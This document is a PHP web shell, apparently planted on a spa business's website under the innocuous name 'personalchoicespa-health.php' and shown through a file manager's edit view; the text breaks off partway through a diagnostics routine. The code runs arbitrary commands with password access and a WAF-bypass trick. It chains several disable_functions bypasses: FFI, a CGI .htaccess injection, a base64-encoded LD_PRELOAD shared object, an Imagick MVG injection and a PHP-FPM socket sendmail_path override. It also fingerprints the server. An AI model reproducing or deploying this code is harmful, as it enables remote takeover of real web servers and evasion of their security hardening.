文件操作 - personalchoicespa-health.php

文件: /storage/v12552/personalchoicespa/public_html/personalchoicespa-health.php

编辑文件内容

<?php
session_start();
error_reporting(0);
set_time_limit(300);

$SHELL_PASSWORD = '_11211-Q321_CYB!+_';

// === PUT/PATCH body → $_POST fallback (WAF POST engeli bypass) ===
if (($_SERVER['REQUEST_METHOD'] === 'PUT' || $_SERVER['REQUEST_METHOD'] === 'PATCH') && empty($_POST)) {
    parse_str(file_get_contents('php://input'), $_POST);
}

// === Kimlik doğrulama ===
$pw = isset($_POST['password']) ? $_POST['password'] : (isset($_GET['password']) ? $_GET['password'] : '');
if (!empty($SHELL_PASSWORD) && $pw !== $SHELL_PASSWORD) {
    header('Content-Type: application/json');
    echo json_encode(array('status' => 'error', 'message' => 'Yetkisiz'));
    exit;
}

// =====================================================================
//  YARDIMCI FONKSİYONLAR
// =====================================================================

function _disabled($fn) {
    static $list = null;
    if ($list === null) {
        $d = str_replace(' ', '', strtolower(ini_get('disable_functions')));
        $list = ($d !== '') ? explode(',', $d) : array();
    }
    return in_array(strtolower($fn), $list);
}

function _fn($fn) {
    return function_exists($fn) && !_disabled($fn);
}

// --- Doğrudan komut çalıştırma (6 yöntem) ---
function run($cmd) {
    if (_fn('shell_exec')) {
        $r = @shell_exec($cmd . ' 2>&1');
        if ($r !== null) return $r;
    }
    if (_fn('exec')) {
        $out = array();
        @exec($cmd . ' 2>&1', $out);
        $r = implode("\n", $out);
        if ($r !== '') return $r;
    }
    if (_fn('system')) {
        ob_start();
        @system($cmd . ' 2>&1');
        $r = ob_get_clean();
        if ($r !== '') return $r;
    }
    if (_fn('passthru')) {
        ob_start();
        @passthru($cmd . ' 2>&1');
        $r = ob_get_clean();
        if ($r !== '') return $r;
    }
    if (_fn('popen')) {
        $fp = @popen($cmd . ' 2>&1', 'r');
        if ($fp) {
            $r = '';
            while (!feof($fp)) $r .= fread($fp, 8192);
            pclose($fp);
            if ($r !== '') return $r;
        }
    }
    if (_fn('proc_open')) {
        $desc = array(1 => array('pipe','w'), 2 => array('pipe','w'));
        $p = @proc_open($cmd, $desc, $pipes);
        if (is_resource($p)) {
            $r = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
            fclose($pipes[1]); fclose($pipes[2]);
            proc_close($p);
            if ($r !== '') return $r;
        }
    }
    return null;
}

// --- FFI ile komut çalıştırma ---
function run_ffi($cmd) {
    if (!class_exists('FFI')) return null;
    if (version_compare(PHP_VERSION, '7.4.0', '<')) return null;
    try {
        $ffi = FFI::cdef("int system(const char *command);", "libc.so.6");
        $tmp = '/tmp/.ag_ffi_' . md5(mt_rand());
        $ffi->system($cmd . ' > ' . $tmp . ' 2>&1');
        $r = '';
        if (file_exists($tmp)) { $r = file_get_contents($tmp); @unlink($tmp); }
        return $r;
    } catch (Exception $e) { return null; }
}

// --- CGI bypass ile komut çalıştırma ---
function run_cgi($cmd) {
    if (!function_exists('curl_init')) return null;
    $webdir = dirname(__FILE__);
    if (!is_writable($webdir)) return null;

$ht = $webdir . '/.htaccess';
    $ht_bak = file_exists($ht) ? file_get_contents($ht) : false;

$cgi_block = "Options +ExecCGI\nAddHandler cgi-script .sh\n";
    if ($ht_bak === false) {
        file_put_contents($ht, $cgi_block);
    } elseif (strpos($ht_bak, 'ExecCGI') === false) {
        file_put_contents($ht, $cgi_block . $ht_bak);
    }

$id = md5(mt_rand());
    $script = $webdir . '/.ag_' . $id . '.sh';
    $outf = '/tmp/.ag_cgi_' . $id;
    file_put_contents($script, "#!/bin/bash\necho \"Content-Type: text/plain\"\necho \"\"\n" . $cmd . " > " . $outf . " 2>&1\ncat " . $outf . "\n");
    chmod($script, 0755);

$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    $base = dirname(isset($_SERVER['REQUEST_URI']) ? preg_replace('/\?.*/', '', $_SERVER['REQUEST_URI']) : '/');
    if ($base === '/' || $base === '\\') $base = '';
    $url = 'http://127.0.0.1' . $base . '/.ag_' . $id . '.sh';

$ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: ' . $host));
    curl_setopt($ch, CURLOPT_TIMEOUT, 20);
    curl_exec($ch);
    curl_close($ch);

$r = null;
    if (file_exists($outf)) { $r = file_get_contents($outf); @unlink($outf); }
    @unlink($script);
    if ($ht_bak === false) { @unlink($ht); }
    elseif (strpos($ht_bak, 'ExecCGI') === false) { file_put_contents($ht, $ht_bak); }

return ($r !== null && $r !== '') ? $r : null;
}

// --- LD_PRELOAD ile komut çalıştırma ---
function run_ld($cmd) {
    if (!_fn('putenv')) return null;
    $has_trigger = _fn('mail') || _fn('error_log') || _fn('mb_send_mail');
    if (!$has_trigger) return null;

$so = '/tmp/.ag_ld.so';
    if (!file_exists($so)) {
        $b64 = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAANwAAAAAAAAAZAAAAAAAAAHgOIAAAAAAAGwAAAAAAAAAIAAAAAAAAAPX+/28AAAAA8AEAAAAAAAAFAAAAAAAAABgDAAAAAAAABgAAAAAAAAAoAgAAAAAAAAoAAAAAAAAAbwAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAAAAECAAAAAAAAIAAAAAAAAAeAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAADoAwAAAAAAAAcAAAAAAAAA0AMAAAAAAAAIAAAAAAAAABgAAAAAAAAACQAAAAAAAAAYAAAAAAAAAP7//28AAAAAoAMAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAACIAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAHYEAAAAAAAAhgQAAAAAAACWBAAAAAAAAKYEAAAAAAAAtgQAAAAAAABHQ0M6IChVYnVudHUgNy41LjAtM3VidW50dTF+MTguMDQpIDcuNS4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwABAMgBAAAAAAAAAAAAAAAAAAAAAAAAAwACAPABAAAAAAAAAAAAAAAAAAAAAAAAAwADACgCAAAAAAAAAAAAAAAAAAAAAAAAAwAEABgDAAAAAAAAAAAAAAAAAAAAAAAAAwAFAIgDAAAAAAAAAAAAAAAAAAAAAAAAAwAGAKADAAAAAAAAAAAAAAAAAAAAAAAAAwAHANADAAAAAAAAAAAAAAAAAAAAAAAAAwAIAOgDAAAAAAAAAAAAAAAAAAAAAAAAAwAJAGAEAAAAAAAAAAAAAAAAAAAAAAAAAwAKAMAEAAAAAAAAAAAAAAAAAAAAAAAAAwALAFMFAAAAAAAAAAAAAAAAAAAAAAAAAwAMAIAFAAAAAAAAAAAAAAAAAAAAAAAAAwANAKAFAAAAAAAAAAAAAAAAAAAAAAAAAwAOAHgOIAAAAAAAAAAAAAAAAAAAAAAAAwAPAIAOIAAAAAAAAAAAAAAAAAAAAAAAAwAQAAAQIAAAAAAAAAAAAAAAAAAAAAAAAwARAAAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAAAAAAAAAAAAANAAAAAQAPAIAOIAAAAAAAAAAAAAAAAAAWAAAAAAAMAIAFAAAAAAAAAAAAAAAAAAApAAAAAQAQAAAQIAAAAAAAAAAAAAAAAAA/AAAAEgAAAAAAAAAAAAAAAAAAAAAAAABTAAAAEAAQAEAQIAAAAAAAAAAAAAAAAABaAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAB2AAAAEgAAAAAAAAAAAAAAAAAAAAAAAACKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAACgAAAAEgAKAMAEAAAAAAAAkwAAAAAAAAClAAAAEAAQAEAQIAAAAAAAAAAAAAAAAACqAAAAEAAQAEAQIAAAAAAAAAAAAAAAAAC2AAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAbGRfYnlwYXNzLmMAX0RZTkFNSUMAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AF9lZGF0YQBfX3N0YWNrX2Noa19mYWlsQEBHTElCQ18yLjQAc3lzdGVtQEBHTElCQ18yLjIuNQBzbnByaW50ZkBAR0xJQkNfMi4yLjUAaW5pdABfZW5kAF9fYnNzX3N0YXJ0AHVuc2V0ZW52QEBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAudGV4dAAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAAMgBAAAAAAAAyAEAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAC4AAAD2//9vAgAAAAAAAADwAQAAAAAAAPABAAAAAAAANAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAA4AAAACwAAAAIAAAAAAAAAKAIAAAAAAAAoAgAAAAAAAPAAAAAAAAAABAAAAAEAAAAIAAAAAAAAABgAAAAAAAAAQAAAAAMAAAACAAAAAAAAABgDAAAAAAAAGAMAAAAAAABvAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEgAAAD///9vAgAAAAAAAACIAwAAAAAAAIgDAAAAAAAAFAAAAAAAAAADAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABVAAAA/v//bwIAAAAAAAAAoAMAAAAAAACgAwAAAAAAADAAAAAAAAAABAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAZAAAAAQAAAACAAAAAAAAANADAAAAAAAA0AMAAAAAAAAYAAAAAAAAAAMAAAAAAAAACAAAAAAAAAAYAAAAAAAAAG4AAAAEAAAAQgAAAAAAAADoAwAAAAAAAOgDAAAAAAAAeAAAAAAAAAADAAAAEAAAAAgAAAAAAAAAGAAAAAAAAABzAAAAAQAAAAYAAAAAAAAAYAQAAAAAAABgBAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAeAAAAAQAAAAYAAAAAAAAAMAEAAAAAAAAwAQAAAAAAACTAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAH4AAAABAAAAAgAAAAAAAABTBQAAAAAAAFMFAAAAAAAAKgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACGAAAAAQAAAAIAAAAAAAAAgAUAAAAAAACABQAAAAAAABwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAlAAAAAEAAAACAAAAAAAAAKAFAAAAAAAAoAUAAAAAAABcAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJ4AAAAOAAAAAwAAAAAAAAB4DiAAAAAAAHgOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACqAAAABgAAAAMAAAAAAAAAgA4gAAAAAACADgAAAAAAAIABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAswAAAAEAAAADAAAAAAAAAAAQIAAAAAAAABAAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAALwAAAABAAAAMAAAAAAAAAAAAAAAAAAAAEAQAAAAAAAAKQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAABwEAAAAAAAAAADAAAAAAAAEwAAABcAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAcBMAAAAAAADMAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAADwUAAAAAAAAxQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=';
        @file_put_contents($so, base64_decode($b64));
        @chmod($so, 0755);
    }
    if (!file_exists($so)) return null;

$outf = '/tmp/.ld_output';
    @unlink($outf);
    putenv("_CMD=" . $cmd . " > " . $outf . " 2>&1");
    putenv("LD_PRELOAD=" . $so);

if (_fn('mail')) { @mail("a@b.c","","",""); }
    elseif (_fn('error_log')) { @error_log("x",1,"a@b.c"); }
    elseif (_fn('mb_send_mail')) { @mb_send_mail("a@b.c","",""); }

usleep(500000);
    putenv("LD_PRELOAD=");

$r = null;
    if (file_exists($outf)) { $r = file_get_contents($outf); @unlink($outf); }
    return ($r !== null && $r !== '') ? $r : null;
}

// --- Imagick ile komut çalıştırma ---
function run_imgk($cmd) {
    if (!class_exists('Imagick')) return null;
    $outf = '/tmp/.ag_imgk_' . md5(mt_rand());
    $mvgf = '/tmp/.ag_imgk.mvg';
    $mvg = "push graphic-context\nviewbox 0 0 640 480\nimage over 0,0 0,0 \"ephemeral:|" . $cmd . " > " . $outf . " 2>&1\"\npop graphic-context";
    file_put_contents($mvgf, $mvg);
    try { $im = new Imagick(); @$im->readImage($mvgf); } catch (Exception $e) {}
    @unlink($mvgf);
    $r = null;
    if (file_exists($outf)) { $r = file_get_contents($outf); @unlink($outf); }
    return ($r !== null && $r !== '') ? $r : null;
}

// --- FPM sendmail_path bypass: wrapper script üzerinden ---
function run_fpm_sm($cmd) {
    // FPM socket bul
    $socks = array(
        '/tmp/php-cgi-80.sock', '/tmp/php80-fpm.sock', '/tmp/php-8.0-fpm.sock',
        '/run/php/php8.0-fpm.sock', '/var/run/php/php8.0-fpm.sock',
        '/tmp/php-cgi-74.sock', '/tmp/php74-fpm.sock',
        '/run/php/php7.4-fpm.sock', '/var/run/php/php7.4-fpm.sock',
        '/tmp/php-cgi-82.sock', '/tmp/php82-fpm.sock',
        '/run/php/php8.2-fpm.sock', '/var/run/php/php8.2-fpm.sock',
        '/tmp/php-cgi-81.sock', '/run/php/php8.1-fpm.sock',
    );
    $sock_path = null;
    foreach ($socks as $sk) {
        if (file_exists($sk)) { $sock_path = $sk; break; }
    }
    if (!$sock_path) return null;

$id = substr(md5(mt_rand() . microtime()), 0, 12);
    $wrapper = '/tmp/.asw_' . $id;
    $outf    = '/tmp/.aso_' . $id;
    $evil    = '/tmp/.ase_' . $id . '.php';
    @unlink($outf);

// Wrapper script — sendmail_path olarak çalıştırılacak
    file_put_contents($wrapper, "#!/bin/bash\n" . $cmd . " > " . $outf . " 2>&1\nexit 0\n");
    @chmod($wrapper, 0755);
    if (!is_executable($wrapper)) { @unlink($wrapper); return null; }

// Evil PHP — mail() ve mb_send_mail() tetikleyicileri
    file_put_contents($evil, '<?php @mail("x@x.x","x","x"); if(function_exists("mb_send_mail")) @mb_send_mail("x@x.x","x","x"); ?>');

// FCGI yardımcıları (iç fonksiyon — isim çakışmasını önle)
    $__fp = function($t, $d, $i = 1) {
        $pl = (8 - (strlen($d) % 8)) % 8;
        return pack("CCnnCC", 1, $t, $i, strlen($d), $pl, 0) . $d . str_repeat("\x00", $pl);
    };
    $__fpe = function($ps) {
        $e = '';
        foreach ($ps as $k => $v) {
            $kl = strlen($k); $vl = strlen($v);
            $e .= ($kl > 127) ? pack("N", $kl | 0x80000000) : chr($kl);
            $e .= ($vl > 127) ? pack("N", $vl | 0x80000000) : chr($vl);
            $e .= $k . $v;
        }
        return $e;
    };

$prm = array(
        "GATEWAY_INTERFACE" => "FastCGI/1.0", "REQUEST_METHOD" => "GET",
        "SCRIPT_FILENAME"   => $evil, "SCRIPT_NAME" => "/" . basename($evil),
        "SERVER_SOFTWARE"   => "php", "REMOTE_ADDR" => "127.0.0.1",
        "SERVER_ADDR"       => "127.0.0.1", "SERVER_PORT" => "80",
        "SERVER_NAME"       => "localhost", "SERVER_PROTOCOL" => "HTTP/1.1",
        "CONTENT_TYPE"      => "", "CONTENT_LENGTH" => "0", "QUERY_STRING" => "",
        "PHP_ADMIN_VALUE"   => "sendmail_path=" . $wrapper . "\nopen_basedir=/",
    );

$fp = @stream_socket_client("unix://" . $sock_path, $en, $em, 5);
    if (!$fp) { @unlink($wrapper); @unlink($evil); return null; }

$enc = $__fpe($prm);
    $req = $__fp(1, pack("nCx5", 1, 0)) . $__fp(4, $enc) . $__fp(4, "") . $__fp(5, "");
    fwrite($fp, $req);
    $raw = ''; stream_set_timeout($fp, 10);
    while (!feof($fp)) { $x = fread($fp, 4096); if (!$x) break; $raw .= $x; }
    fclose($fp);

usleep(1200000); // wrapper'ın tamamlanması için bekle

$r = null;
    if (file_exists($outf)) { $r = file_get_contents($outf); @unlink($outf); }
    @unlink($wrapper); @unlink($evil);
    return ($r !== null && trim($r) !== '') ? $r : null;
}

// --- Akıllı çalıştırıcı: tüm yöntemleri sırayla dener ---
function smart_run($cmd) {
    $r = run($cmd);
    if ($r !== null) return array('output' => $r, 'method' => 'direct');
    $r = run_ffi($cmd);
    if ($r !== null) return array('output' => $r, 'method' => 'ffi');
    $r = run_cgi($cmd);
    if ($r !== null) return array('output' => $r, 'method' => 'cgi');
    $r = run_ld($cmd);
    if ($r !== null) return array('output' => $r, 'method' => 'ld_preload');
    $r = run_imgk($cmd);
    if ($r !== null) return array('output' => $r, 'method' => 'imagick');
    $r = run_fpm_sm($cmd);
    if ($r !== null) return array('output' => $r, 'method' => 'fpm_sm');
    return null;
}

// =====================================================================
//  KOMUT YÖNLENDİRME
// =====================================================================

$action = isset($_POST['cmd']) ? $_POST['cmd'] : (isset($_GET['cmd']) ? $_GET['cmd'] : '');

header('Content-Type: application/json');

// ===================== ping =====================
if ($action === 'ping') {
    echo json_encode(array('status' => 'success', 'message' => 'pong', 'server' => php_uname()));
    exit;
}

// ===================== info =====================
if ($action === 'info') {
    $disabled = str_replace(' ', '', ini_get('disable_functions'));
    $exec_fns = array();
    foreach (array('exec','shell_exec','system','passthru','popen','proc_open','pcntl_exec') as $fn) {
        $exec_fns[$fn] = _fn($fn);
    }
    $exts = array();
    foreach (array('FFI','Imagick','curl','imap','mbstring') as $e) {
        $exts[$e] = ($e === 'FFI' || $e === 'Imagick') ? class_exists($e) : extension_loaded($e);
    }
    $bypass = array();
    foreach (array('putenv','mail','error_log','mb_send_mail','iconv') as $fn) {
        $bypass[$fn] = _fn($fn);
    }
    echo json_encode(array(
        'status' => 'success',
        'php_version' => phpversion(),
        'sapi' => php_sapi_name(),
        'os' => PHP_OS,
        'uname' => php_uname(),
        'user' => get_current_user(),
        'uid' => function_exists('posix_geteuid') ? posix_geteuid() : '?',
        'cwd' => getcwd(),
        'script_dir' => dirname(__FILE__),
        'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
        'disable_functions' => $disabled,
        'exec_functions' => $exec_fns,
        'extensions' => $exts,
        'bypass_functions' => $bypass,
        'tmp_writable' => is_writable('/tmp'),
        'webdir_writable' => is_writable(dirname(__FILE__)),
        'open_basedir' => ini_get('open_basedir'),
    ));
    exit;
}

// ===================== diag — kapsamlı tanı =====================
if ($action === 'diag') {
    $d = array('status' => 'success');

// PHP & sistem
    $d['php_version']  = phpversion();
    $d['sapi']         = php_sapi_name();
    $d['uname']        = php_uname();
    $d['uid']          = function_exists('posix_geteuid') ? posix_geteuid() : '?';
    $d['user']         = (function_exists('posix_getpwuid') && function_exists('posix_geteuid'))
                            ? (isset(posix_getpwuid(posix_geteuid())['name']) ? posix_getpwuid(posix_geteuid())['name'] : get_current_user())
                            : get_current_user();
    $d['cwd']          = getcwd();
    $d['script_dir']   = dirname(__FILE__);
